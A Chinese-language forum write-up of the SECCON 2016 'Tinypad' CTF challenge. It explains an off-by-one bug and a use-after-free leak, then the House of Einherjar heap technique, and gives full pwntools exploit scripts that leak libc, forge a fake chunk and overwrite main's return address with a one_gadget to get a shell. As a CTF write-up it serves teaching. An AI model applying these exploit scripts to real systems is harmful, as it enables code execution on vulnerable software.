首页
论坛
专栏
课程

[原创]Tinypad Seccon CTF 2016(House Of Einherjar)

2018-4-18 17:19 1614

[原创]Tinypad Seccon CTF 2016(House Of Einherjar)

2018-4-18 17:19
1614

Tinypad Seccon CTF 2016(House Of Einherjar)

序言

随着对how2heap的学习, 难度也是越来越大, 改革进入了深水区.

程序运行

1.菜单

| [A] Add memo                                                                 |
| [D] Delete memo                                                              |
| [E] Edit memo                                                                |
| [Q] Quit

2. Add memo

(CMD)>>>  A

(SIZE)>>> 32
(CONTENT)>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Added.

3. Delete memo

(CMD)>>> D

(INDEX)>>> 1

Deleted.

4. Edit memo

(CMD)>>> E

(INDEX)>>> 1
CONTENT: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(CONTENT)>>> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Is it OK?
(Y/n)>>> Y

Edited.

5. Exit

(CMD)>>>  Q

程序分析

1. checksec

struct node{
  int size;
  char* s;
}tinypad[4];

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

    结论: Full RELRO代表我们不能复写got表.NX代表我们不能使用shellcode, Canary found代表我们不能使用栈溢出.说实话, 现在的CTF全国性质大赛使用栈溢出的题已经比较少了, 大部分都是PWN技能的高级应用.

 

2. 内存泄露

    通过观察发现, 程序定了一个tinypad的数组, 数组存放在0x6020140.Delete memo时程序只是将size置为0,将s对应的堆地址释放, 并没有将s本身置为NULL, 而程序就是通过判断s是否为空来进行显示对应的数组内容, 于是存在内存泄露.

 

result01

 

3.缓冲区

 

result02

    通过上图分析, 程序会将0x602040作为一个编辑的缓冲去, 输入Y之后才会将输入内容复制到s对应的堆块中去.

 

4.一个假设

 

    假如我们能够分配一个地址在0x602040附近, 那么我们就能通过分配足够的内存, 编辑tinypad数组的内容, 修改s指向的堆块, 实现任意地址读写.

知识点讲解

1. Off By One

Off By One经常和Hous Of Attack之类的技巧组合在一起.

 

2. House Of Einherjar

该堆利用技术可以强制使得malloc返回一个几乎任意地址的chunk.其主要在于滥用free中的后巷合并操作.

 

    结论: 二者配合使用, 可以发挥无穷威力.

 

栗子

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* s0 = malloc(0x200); //构造fake chunk
    char* s1 = malloc(0x18);  
    char* s2 = malloc(0xf0); 
    char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    printf("begin\n");
    printf("%p\n", s0);
    printf("input s0\n");
    read(0, s0, 0x200); //读入fake chunk
    printf("input s1\n");
    read(0, s1, 0x19); //Off By One
    free(s2);
    return 0;
}

对应的利用程序

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");   
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

 

result03


 

 

result04

unsorted bin @ 0x7fb86398eb88
    free chunk @ 0x17ff010 - size 0x320

    结论: 通过修改对应的size, 我们几乎可以实现任意地址读写. 这个利用脚本将unsorted bin中的fd, bk指向我们fake chunk所在地址.

漏洞分析

1.Off By One

 

result05

 

2. 逻辑漏洞

 

result06

 

结论: 可以显示释放后的地址的内容, 泄露堆地址.

过程

1. 泄露
原理: 利用unsorted bin中的空闲块是双链表的特性.

add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

result07

 

2.House Of Einherjar

add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)

tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

result07

 

3.攻击

    将main函数的返回值地址修改为one_gadget地址. 由于程序是现将sizes先存放入数组,后读取内容, 我们可以控制index1指向的地址.

libc_base = main_arena + 0x58 - 0x3c4b78
one_gadget = libc_base + 0x45216
environ_pointer = libc_base + libc.[__environ]
log.info("libc_base: %s" % hex(libc_base))

add(0xf8, "D"*(0x100-0x30) + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
'''
申请的大小必须为0xf8或0xf0, 要不然不会返回tinypad的地址.
'''
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(environ_addr))
edit(2, p64(main_ret)) #修改为environ
edit(1, p64(one_gadget))  #
p.interactive()

完整EXP

from pwn import *

p = process("./tinypad")
libc = ELF("./libc.so.6")
context.log_level = 'debug'


def add(size, content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("A")
    p.recvuntil("(SIZE)>>> ")
    p.sendline(str(size))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)

def delete(index):

    p.recvuntil("(CMD)>>> ")
    p.sendline("D")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))

def edit(index, content, ok=True):
    p.recvuntil("(CMD)>>> ")
    p.sendline("E")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil("(Y/n)>>> ")
    if ok:
        p.sendline("Y")
    else:
        p.sendline("n")

#stage one
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" #   INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))

delete(2)
delete(4)

#stage two
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)


tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)


delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)

#gdb.attach(p)

#stage three
libc_base = main_arena + 0x58 - 0x3c4b78
log.info("libc_base: %s" % hex(libc_base))
one_gadget =  libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']

add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
#p.recvall()
p.interactive()

多说一句

其他思路也是可以修改top chunk,来做到这一点的, 无奈水平有限, 以后再分析

相关链接

    CTF WIKI
    相关文件



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2018-4-18 17:23 被baolongshou编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回